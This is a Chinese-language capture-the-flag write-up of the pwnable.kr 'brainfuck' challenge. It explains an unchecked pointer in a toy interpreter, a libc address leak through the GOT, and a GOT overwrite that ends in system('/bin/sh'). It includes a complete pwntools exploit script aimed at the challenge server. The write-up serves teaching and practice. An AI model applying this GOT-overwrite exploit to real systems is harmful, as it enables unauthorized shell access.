pwnable.kr之brainfuck

2018-06-26  本文已影响0人  hyrathon

pwnable.kr之brainfuck.md

Overview

题目给了一个简陋版的brainfuck解释器, 实现了非常简单的功能

int __cdecl do_brainfuck(char a1)
{
  int result; // eax
  _BYTE *v2; // ebx

  result = a1;
  switch ( a1 )
  {
    case 43:
      result = p;
      ++*(_BYTE *)p;
      break;
    case 44:
      v2 = (_BYTE *)p;
      result = getchar();
      *v2 = result;
      break;
    case 45:
      result = p;
      --*(_BYTE *)p;
      break;
    case 46:
      result = putchar(*(char *)p);
      break;
    case 60:
      result = p-- - 1;
      break;
    case 62:
      result = p++ + 1;
      break;
    case 91:
      result = puts("[ and ] not supported.");
      break;
    default:
      return result;
  }
  return result;
}

在主循环逻辑中读取用户输入的每一个字符做相应操作.

2018-06-26-09-40-37.png

注意光标选中的p是当前执行到的指针, tape是一个长度为1024的buffer存储用户输入的brainfuck代码. 二者都位于.bss段上, 恰巧离got表很近. 而主循环逻辑do_brainfuck提供了指针前移, 后移, 读byte, 写byte等丰富操作, 却没有对p值的范围是否在tape中做校验, 因此此处存在漏洞可以一定范围内任意读写, 后续考虑利用其对.got表进行修改.

泄露libc地址

修改.got表的基本思想是将一个普通函数.got.plt指针修改为要调用的目标函数指针. 为此需要首先知道libc基址来确定目标函数地址. 由于开启了alsr必须在程序执行过程中泄露libc基址, 可以将p移位到.plt.got位置并输出某一函数地址, 由于题目给了用到的 libc.so, 因此可以确定函数的偏移, 二者相减即可得到运行时libc基址.

brainfuck处理过程中, '<'可以使p指针前移一个字节, '>'则是后移, '.'输出当前字节, ','写当前字节. 通过计算p当前位置与.plt.got的距离并移位, 定位到putchar函数.
输出时需要每输出一次移位一次, 得到的结果拼接后u32解得地址. 由于环境没有输入法, 注释全都英文

2018-06-26-09-58-51.png
payload = '.' # run putchar for one time to let the programme write .got.plt dynamic value
payload += '<' * 0x70 + '.>' * 4 
payload += '[' # force the program to call puts, fill .got.plt

for i in range(4):
    raw_result += p.recv(1)
addr_putchar = u32(raw_result)
addr_libc = addr_putchar - off_putchar

这里额外要注意的一点是通过.plt.got获得函数地址前, 必须先调用一次该函数, 这是因为使用了'延迟绑定'技术, 第一次执行时进行绑定操作, 第二次之后才会直接执行.

覆写.plt.got流程

由于已经有了libc基址能够计算各函数在运行时实际地址, 接下来进行正式的覆盖. 考查main函数


2018-06-26-10-08-17.png

memset和fgets函数共用同一个param0, 如果将memset改为gets()并读入/bin/sh, fgets改写为system, 即可实现system('/bin/sh')调用拿shell.

为了能够跳转到main函数需要额外覆盖puts函数为main函数, 然后主动调用do_brainfuck的case 91触发执行. 调试中发现, 直接跳转到main函数起始地址栈会segment fault(vmmap看可能是因为s参数过大, 栈空间不够), 因此改为直接跳转到memset函数布置参数处.

最终的exp如下:

# todo using oneshot gadget to get shell directly in libc.so

from pwn import *

context.terminal = ['tmux', 'splitw', '-h']

# off_gets = 0x66ae0
# off_system = 0x3cd10
# off_putchar = 0x69130
off_gets = 0x5e770
off_system = 0x3a920
off_putchar = 0x60c80
addr_main = 0x08048700

# p = process('bf')
p = remote('pwnable.kr', 9001)
# gdb.attach(p)
print p.recvuntil('except [ ]')
payload = '.' # run putchar for one time to let the programme write .got.plt dynamic value
payload += '<' * 0x70 + '.>' * 4 
payload += '[' # force the program to call puts, fill .got.plt

# Overwrite 3 spots in .got.plt
# puts -> main to detour the control flow
# memset -> gets to put '/bin/sh' to 'char s[1024]'
# fgets -> system to call system('/bin/sh'), where s is exactly at the top of stack as param[0]

# now p is at 0804A034
# alter fgets
payload += '<' * 0x24 + ',>,>,>,>' # maybe there is a \n to deal with

# now p is at 0x0804a010
#alter puts
payload += '>' * 0x04 + ',>,>,>,>'

# now p is at 0x0804a018
# alter memset
payload += '>' * 0x10 + ',>,>,>,>'

payload += '[' # trigger a call to puts(actually main)

p.sendline(payload)

print p.recvline() # '[' error report
#print p.recvline() # \n
raw_result = ""
p.recv(1)
for i in range(4):
    raw_result += p.recv(1)
addr_putchar = u32(raw_result)
addr_libc = addr_putchar - off_putchar
print('Leaked libc base is: ' + hex(addr_libc))
addr_system = addr_libc + off_system
addr_gets = addr_libc + off_gets

#!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! todo before overwrite func, we should call each func for at least one time to make sure the .got.plt is dynamically altered

addrs = p32(addr_system) + p32(addr_main) + p32(addr_gets)
p.sendline(addrs + '/bin/sh')

p.interactive()


```![2018-06-26-09-40-37.png](https://img.haomeiwen.com/i1814637/43cd6cd0b5277054.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)
上一篇下一篇

猜你喜欢

热点阅读